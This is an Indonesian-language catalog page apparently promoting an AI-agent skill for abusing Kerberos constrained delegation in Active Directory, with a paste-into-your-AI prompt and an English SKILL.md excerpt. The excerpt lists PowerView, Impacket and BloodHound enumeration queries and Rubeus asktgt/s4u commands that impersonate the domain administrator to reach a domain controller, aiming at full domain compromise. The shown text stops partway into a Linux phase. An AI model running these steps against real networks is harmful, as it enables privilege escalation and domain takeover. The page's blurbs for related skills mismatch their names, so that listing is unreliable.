exploiting-constrained-delegation-abuse
Fungsinya
Alat ini memanfaatkan salah konfigurasi keamanan di Active Directory yang disebut 'Constrained Delegation'. Alat ini memungkinkan penyerang menyamar sebagai pengguna istimewa, seperti administrator, untuk mengakses sistem dan mendapatkan kendali penuh atas domain.
Kapan dipakai
- ✓Selama pengujian keamanan yang sudah diotorisasi untuk memeriksa celah delegasi.
- ✓Selama simulasi serangan (red teaming) untuk menguji pertahanan.
- ✓Untuk memahami bagaimana penyerang bisa mendapatkan akses istimewa di jaringan perusahaan.
Link skill
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-constrained-delegation-abuse/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
“Bagaimana cara memeriksa apakah constrained delegation salah dikonfigurasi di jaringan saya?”
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Alat ini mencari akun dengan izin delegasi tertentu. Jika ditemukan, alat ini menggunakan teknik untuk membuat 'tiket' akses yang menyamar sebagai pengguna dengan hak lebih tinggi, sehingga bisa mengakses layanan yang dibatasi.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
Exploiting Constrained Delegation Abuse
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
When to Use
- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse
MITRE ATT&CK Mapping
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1134.001 - Access Token Manipulation: Token Impersonation/Theft
- T1078.002 - Valid Accounts: Domain Accounts
- T1021 - Remote Services
Workflow
Phase 1: Enumerate Constrained Delegation
- Find accounts with Constrained Delegation using PowerView:
# Find users with Constrained Delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Find computers with Constrained Delegation Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto # Using AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl - Using Impacket findDelegation.py:
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 - Using BloodHound CE:
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate - Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
Phase 2: Exploit with Rubeus (Windows)
- If you have the password or hash of the constrained delegation account:
# Request TGT for the constrained delegation account Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash> # Perform S4U2self + S4U2proxy to impersonate administrator Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /ptt # Alternative: specify alternate service name Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt - Combined TGT request and S4U in single command:
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \ /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
Phase 3: Exploit with Impacket (Linux)
- Request service ticket via S4U protocol extensions:
…
Pertanyaan umum
Apa itu Constrained Delegation?
Ini adalah fitur Windows Server yang memungkinkan sebuah layanan bertindak atas nama pengguna untuk mengakses layanan lain. Jika dikonfigurasi dengan salah, fitur ini bisa dieksploitasi oleh penyerang.
Apakah saya perlu password administrator untuk menggunakan alat ini?
Belum tentu. Eksploitasi ini mengandalkan salah konfigurasi delegasi, sehingga Anda bisa menyamar sebagai administrator tanpa perlu mengetahui password-nya.
Apakah ini legal?
Alat ini hanya boleh digunakan di lingkungan uji yang sudah diotorisasi dan dengan izin yang jelas. Menggunakannya pada sistem yang tidak diotorisasi itu ilegal.
Detail
Deskripsi asli dari pembuat
Exploits Kerberos Constrained Delegation misconfigurations in Active Directory using Impacket's findDelegation.py and getST.py (or Rubeus/Kekeo on Windows) to abuse S4U2Self and S4U2Proxy and impersonate privileged users. Use during authorized Active Directory penetration tests or red-team engagements for lateral movement and privilege escalation after finding an account trusted for constrained de
Popularitas
- Bintang GitHub
- 35k
- Peringkat
- #7904
- Lisensi
- Apache-2.0
- Diperbarui
- 31/8/2026
Komentar
- …
Skill lain dari repositori ini
abusing-dpapi-for-credential-access
35kMemberi agent AI Anda instruksi siap pakai untuk tugas tertentu, sehingga hasilnya lebih baik dan pengerjaannya lebih cepat.
abusing-shadow-credentials-for-privesc
35kMengajarkan agent AI Anda menulis teks yang jelas dan terstruktur dengan baik.
achieving-cmmc-level-2-compliance
35kMembantu agent Anda menyiapkan lingkungan untuk kepatuhan CMMC Level 2. Skill ini menerapkan persyaratan keamanan dan mengelola dokumentasi yang diperlukan.
acquiring-disk-image-with-dd-and-dcfldd
35kMembantu agent Anda membuat salinan persis dari hard drive. Berguna untuk memastikan tidak ada informasi yang hilang atau berubah selama investigasi.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.